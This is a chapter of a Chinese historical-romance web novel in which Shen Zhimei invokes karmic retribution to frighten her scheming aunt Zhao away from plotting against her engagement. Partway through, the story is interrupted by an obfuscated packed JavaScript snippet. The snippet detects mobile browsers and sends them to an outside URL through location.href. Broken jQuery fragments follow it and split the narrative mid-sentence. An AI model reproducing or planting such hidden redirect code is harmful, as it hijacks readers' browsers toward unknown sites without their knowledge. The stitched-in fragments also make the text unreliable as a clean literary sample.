沈之湄垂眸忖度一瞬，敛整神情，被火气灼哑的嗓音着意沁润了一丝茫然，凭空增了几分懵懂之意。


    “是我。”沈之湄不慌不忙地抬步转出内室，口中歉然请罪，“方才口渴醒来，本想倒杯清茶吃，岂料起得急了，头晕眼晃的，顺手扶高几撑一下，倒错把高几上的花盆推落地了。”


    “湄儿冒失莽撞，惊扰两位长辈，万恳莫怪。”


    沈之湄深深地蹲身一礼，颔首之际，眼尾余光将赵氏一刹那的瞳仁震颤纳入眼帘。


    唇角微不可察往上牵了牵。


    沈之湄身着月牙色竖领对襟衫，发髻拆散，如瀑如墨的发丝散垂于肩背，耳畔几缕细丝因侧卧的缘故挣脱发鬓，耀武扬威似的迎风飘漾。


    净白的侧颊残存浅印，双眸水雾弥漫。


    全一副将将醒顿的模样。


    赵氏目光寸寸巡视，沈之湄恍若未觉，应陈老夫人招呼偎着她坐下。


    赵氏早已萌生去意，藉此告别，兴许想遮掩心里的虚，她扯唇作态，不甚恰当顽笑道：“我嘴上拙笨，终日且被桩桩件件琐事追着，说话忒个没趣，不比湄丫头伶俐，读的书又多，装了一肚子学问故事，最懂怎地哄人，儿媳这便腾了地方，好叫湄丫头好生陪陪您。”


    字里行间好似透着一股不着四六的拈酸。


    像在排揎沈之湄机心霸宠。


    陈老夫人温慈的笑容缓凝，沈之湄安抚般拍了拍她老人家干凉的手，恭敬起身相送。


    “舅母净拿甥女取笑，”沈之湄低眉，语调柔软，“府里府外，人情行走，舅母事事操心。人说‘世事洞明皆学问，人情练达即文章’，舅母老练世故人情，方是具备大智慧之人，甥女尚不及您皮毛。”


    论皮厚心黑，沈之湄自忖万万不及。


    赵氏侧目细端详，只见沈之湄眉目宛然，一派言笑晏晏的皎皎风姿，心下不由地一顿。


    她先时为沈之湄另择的夫婿系官宦名门之后，乃家中嫡幼子，其父三品提刑按察使，其兄虽不若他咸儿，但亦科举有望，只除儿郎自身贪花闲散了些，其余样样皆可称道。


    她虽不愿沈之湄跟咸儿成就姻缘，可沈之湄好歹在她眼跟子前长大，哪能没情分。她确实费了心一番心思才替沈之湄挑了这门实在好亲，儿郎就算置外室，逛花楼，捧戏子，也称不上太出格，纨绔些罢了，然父兄得力，只消不走大折子，自可安享一世富贵。


    但……此时这个“好”字，她却再难理直气壮地脱口道出。


    之前，她觉得男子贪恋女色最寻常不过，世上又有几个男子不贪嘴偷腥，只须家世好，家底厚，家族兴旺，哪怕本人略有不足，也是做亲上选。


    按说与赵氏之前给沈之湄安排的儿郎相较，她女婿既不沉溺花楼，亦不哄捧戏子，只养了个外室罢了，实属小巫见大巫，可赵氏却不由自主气恨得牙痒。


    每每想起女婿外室那张娇嫩面皮，和她口里尚在襁褓的婴孩，赵氏这心就跟被弯刀剜透了一样。


    刀落在自己或自己人身上，才知晓会疼会流血。


    赵氏便是如此。


    轮到自己女婿贪花风流，赵氏才算醒悟，她先前想法有多么想当然，只女儿今儿掉的泪就把她泡酸浸苦，在赵府门前剧燃的那一团火气，此刻还在胸口勃勃闷烧着。


    可——


    她目下心里承认那儿郎非良人，倒也激起她对沈之湄的一二分愧疚之心，但咸儿科举及第青云直上乃她平生宿愿，岂能因绊脚石可悯而心软？


    她还预备尽快腾出手再谋退亲一事呢。


    大嫂的心思她倒能体悟七八……


    一线暗芒飞掠赵氏眼尾，旋即，她浮起满脸笑，亲昵叱道：“好甜的嘴，倒先来迷惑我，莫不是要朝我讨赏？”


    沈之湄面上浮起赧笑，道：“倒是有一桩事想跟舅母打听……”


    见赵氏挑眉询问，沈之湄遂直言道：“听说出云大师游历归来，将于下月末开坛讲经，西山寺近几日陆续向诸府呈送名帖，奉预信众？”


    赵氏随口应：“确有这事。”


    沈之湄似是不自禁握上赵氏腕臂，语漫忻悦地道：“据传出云大师佛法高深，智慧如海，常以深入浅出之言叫人醍醐灌顶，迷途知返，得无量福果。”


    “出云大师尤擅《地藏菩萨本愿经》，对因果报应相关经卷的讲解堪称当世之冠，就连无法无天的穷凶极恶之徒听了，亦幡然醒悟，笃信起因果不虚之理，金盆洗手，乃至衙门投案自首，以期洗脱罪恶，不带累儿女后人。”


    说到“因果报应”，“因果不虚”，“金盆洗手”，“带累儿女”时，沈之湄略略停顿，且因嗓音下沉，语调缓长，仿佛要将这几个词一下一下嵌入赵氏脑中。


    赵氏脚步不知不觉放慢。


    “诸恶莫作。出云大师教化世人，功德无量。”沈之湄极为尊崇似的一声赞叹，“舅母礼佛虔诚，舍米施药岁岁不落，积攒福德无数，后福必定绵长深厚。”


    “您切莫忧心太过。善恶有报，珠表妹受您庇佑，且看来日呢。”


    这番话轻轻柔柔，却犹如一块天外巨石堕入赵氏湖心，一霎那激起万丈飓浪。


    赵氏倏地扭脸望向沈之湄，震愕撑圆眼眶。


    一个念头浮于她脑中……随即，心不受控地突突疾跳。


    因果报应——


    带累儿女——


    她的善行德荫子孙，那么她若作恶是否也会报应到儿女身上？


    善恶有报……


    赵氏心头翻江倒海，眼神却空空茫茫，思绪一点点深陷。


    表姑娘沈之湄于咸儿前程助益寡薄，这桩婚约她早想作罢，此番咸儿归京春闱，又逢沈家出孝回京，再无合衬因由拖延婚事，而退婚又势在必行。为免咸儿声誉蒙受星点污损，是以，她在咸儿归府前行事，她设计沈之湄落水失贞。


    哪怕沈之湄这回逃脱了，可她悔婚之心不改……


    难道，这就是因果？


    她瞧不上表姑娘沈之湄，欲坏沈之湄姻缘，不多久，珠儿婚事便横生波折。


    且——珠儿跟沈之湄，同为姑舅做亲，同不被舅母看上眼欲要退亲……


    还有，因着在伯府宅邸便宜她安排，且当日朋客芸芸，易于将事传扬开来，她择了老夫人寿辰之时行事。也偏偏在珠儿外祖母寿辰当日，那狐媚外室哭讨上门，宛如平地一声惊雷，如今正惹得满城沸沸扬扬。


    她加诸于沈之湄的，好像又以不同却相类的方式一样一样回报到她女儿身上。


    这一念头方起便如毁堤而泻的洪水，劈头盖脸，将心旌神摇的赵氏从头至脚淹没。


    这会儿她便似在深水浮沉，嘴唇张张阖阖，气息骤然湍急，胸口剧烈一起一伏。


    可她喉嗓却仿佛燃了一把火，干裂灼痒，发不出一丝声调。


    猛地，她脖颈侧转，撞上沈之湄乌黑透亮的眼眸，黑白分明，水润鲜妍，像一汪清透澄澈的山泉，泛于其内的绵绵关切不着遮掩，一览无遗。


    赵氏眉心一跳，下意识屏息挪开了眼。


    一缕幽风裹着沙沙声打卷吹来，赵氏只觉这风里仿似藏了一张由冰凌织就网，细细密密的冷罩在头脸上，激起她心头阵阵惊悸。


    难道珠儿今日的无妄之灾，果真全系她所行不义牵连？


    这，真是因果


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597683|171628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ？


    假若她再用手段算计沈之湄，叫沈之湄背负退亲全责，珠儿可会再受报应？


    即便赵氏心里已信了七成，她却不敢，也不愿真的承认。


    赵氏游移不定，心糟乱成团，不知如何厘清。


    眼见赵氏驻足僵立，双眼发直，沈之湄敛目，浓密长睫羽扇一般遮没幽微难辨的眸光。


    片晌。


    “舅母？”沈之湄秀雅眉心浅蹙，试探般轻唤了一声。


    赵氏还未回魂。


    沈之湄抿直欲往上走的唇线，手上着了一点力道，摇晃赵氏手臂。


    跟被烫了似的，赵氏慌忙甩脱沈之湄附着她的手。


    “舅母？这、这是怎地了？可是甥女有哪里不妥？”沈之湄蜷了蜷被撂在半空的手，语溢错愕。


    赵氏思绪回飘，心不在焉地浑应一声：“嗯？”


    “没……没事，”神思归拢，赵氏暗吸一口气，压下狂跳的心，和眼底汹涌的暗流滚浪，撑起个僵笑，强调般一字一顿道，“与你无关。”


    似有未尽深意。


    “适才突然想起一事，不留意走了神。”赵氏拉过沈之湄的手拍拍，“无须再送，回去陪老夫人罢。”


    沈之湄颔首，目送赵氏略显仓皇的身影没入暮色里。


    折身回屋时，沈之湄脚步不自觉轻快起来，杏眸里一湾春阳似的笑意浮漾。


    “可是你舅母许了你什么，这般开颜？”


    陈老夫人含笑打趣。


    “您猜？”沈之湄提壶给陈老夫人续茶，又替自己斟了一盏，撇了撇浮茶，浅饮慢啜。


    外祖母决计猜不到。


    除了自己，没人清楚她此时的松快舒畅。


    方才她一瞬不瞬地端视赵氏，赵氏神情变幻尽入眼底，想来近些时日赵氏定不会贸然朝她下手。


    果不其然。


    她将才那番话入了赵氏的耳，更入了赵氏的心。


    她和陈玉珠婚约相似之处颇多，稍加引导，便会让人自然而然将之以“因果”干连起来。


    赵氏崇佛信教，每月初一或亲去或派遣心腹仆妇至西山寺烧香拜布施，并在寺里为一双儿女点供长明福油灯，因而赵氏深信佛语里的“因果”之说，平素看戏听曲，赵氏便偏爱善恶有报的戏目。


    虽说赵氏更重儿子，但女儿亦是心头宝，只要有转圜余地，想必等闲不肯舍弃女儿。


    是以，不管赵氏笃信几分，近期内赵氏必不敢轻率出手对付她。


    她只需赵氏安生至陈咸与父亲进京即可，届时事由兴许全换了模样。


    在此期间，她亦会按部就班，搁置怨愤，警醒人事，常伴外祖母，以及……寻回母亲耳坠。


    捋顺思绪，心上重甸又减。


    沈之湄情不自禁弯起杏眸，拖长的眼尾像极了三月春风里一枚恣意舒展的柳芽儿，荡起潋滟笑意。


    笑意蔓延，爬上陈老夫人眼角，她一把搂过沈之湄：“你这顽丫头，倒作弄起外祖母来。”


    沈之湄就势缠上陈老夫人胳膊。


    祖孙俩好一通玩笑，两道笑声齐齐融进夕色熏风中，掀起一层层涟漪。


    陈老夫人抚了抚沈之湄蹭在肩窝的乌发，温然笑叹：“只盼我的湄丫头事事顺遂，长长久久这般快慰展颜。”


    稍一停顿，她低声道：“好在咸哥儿品性靠得住……”


    笑容倏忽凝在唇畔。


    沈之湄垂眸覃思少顷，仰起笑意不减的面容，佯作娇蛮地问陈老夫人：“那倘是表哥似赵家二公子这般行止不妥，您可允准我退婚？”


    问罢，她目不转睛地望着外祖母，徐徐提起心。